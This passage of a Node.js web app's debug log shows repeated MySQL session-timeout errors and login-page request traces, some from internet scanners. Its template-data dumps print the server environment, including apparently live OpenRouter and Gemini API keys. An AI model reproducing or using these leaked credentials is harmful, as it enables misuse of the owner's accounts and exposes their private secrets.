    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.221.83.235',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-28 03:30:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-28 03:30:24' as DATETIME)"
}
2026-02-28T12:54:48.755Z server-connect:router Serving templateView /
2026-02-28T12:54:48.756Z server-connect:app Executing action step identify
2026-02-28T12:54:48.757Z server-connect:app options: { provider: 'security' }
2026-02-28T12:54:48.757Z server-connect:auth No login cookie found
2026-02-28T12:54:48.757Z server-connect:output identity: false
2026-02-28T12:54:48.757Z server-connect:app Executing action step restrict
2026-02-28T12:54:48.757Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-28T12:54:48.758Z server-connect:output restrict: undefined
2026-02-28T12:54:48.863Z server-connect:router Serving templateView /login
2026-02-28T12:54:48.863Z server-connect:app Executing action step identify
2026-02-28T12:54:48.863Z server-connect:app options: { provider: 'security' }
2026-02-28T12:54:48.863Z server-connect:auth No login cookie found
2026-02-28T12:54:48.863Z server-connect:output identity: false
2026-02-28T12:54:48.863Z server-connect:router Render template layouts/authentication
2026-02-28T12:54:48.864Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '98.87.115.128',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-01T12:54:48.863Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '98.87.115.128',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '98.87.115.128',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-28 16:52:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-28 16:52:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-28 22:08:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-28 22:08:25' as DATETIME)"
}
2026-03-01T03:27:36.291Z server-connect:router Serving templateView /
2026-03-01T03:27:36.293Z server-connect:app Executing action step identify
2026-03-01T03:27:36.293Z server-connect:app options: { provider: 'security' }
2026-03-01T03:27:36.293Z server-connect:auth No login cookie found
2026-03-01T03:27:36.293Z server-connect:output identity: false
2026-03-01T03:27:36.293Z server-connect:app Executing action step restrict
2026-03-01T03:27:36.293Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-01T03:27:36.294Z server-connect:output restrict: undefined
2026-03-01T03:27:36.950Z server-connect:router Serving templateView /login
2026-03-01T03:27:36.950Z server-connect:app Executing action step identify
2026-03-01T03:27:36.950Z server-connect:app options: { provider: 'security' }
2026-03-01T03:27:36.950Z server-connect:auth No login cookie found
2026-03-01T03:27:36.950Z server-connect:output identity: false
2026-03-01T03:27:36.950Z server-connect:router Render template layouts/authentication
2026-03-01T03:27:36.950Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.145',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-02T03:27:36.949Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.145',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 06:22:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 06:22:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 08:01:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 08:01:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 09:59:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 09:59:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 10:06:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 10:06:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 14:46:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 14:46:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 19:09:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 19:09:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 19:46:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 19:46:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 20:18:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 20:18:29' as DATETIME)"
}
2026-03-01T20:27:50.293Z server-connect:router Serving templateView /
2026-03-01T20:27:50.295Z server-connect:app Executing action step identify
2026-03-01T20:27:50.295Z server-connect:app options: { provider: 'security' }
2026-03-01T20:27:50.295Z server-connect:auth No login cookie found
2026-03-01T20:27:50.295Z server-connect:output identity: false
2026-03-01T20:27:50.295Z server-connect:app Executing action step restrict
2026-03-01T20:27:50.295Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-01T20:27:50.296Z server-connect:output restrict: undefined
2026-03-01T20:27:50.410Z server-connect:router Serving templateView /login
2026-03-01T20:27:50.411Z server-connect:app Executing action step identify
2026-03-01T20:27:50.411Z server-connect:app options: { provider: 'security' }
2026-03-01T20:27:50.411Z server-connect:auth No login cookie found
2026-03-01T20:27:50.411Z server-connect:output identity: false
2026-03-01T20:27:50.411Z server-connect:router Render template layouts/authentication
2026-03-01T20:27:50.411Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    accept: '*/*',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '87.236.176.203',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-02T20:27:50.410Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '87.236.176.203',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '87.236.176.203',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
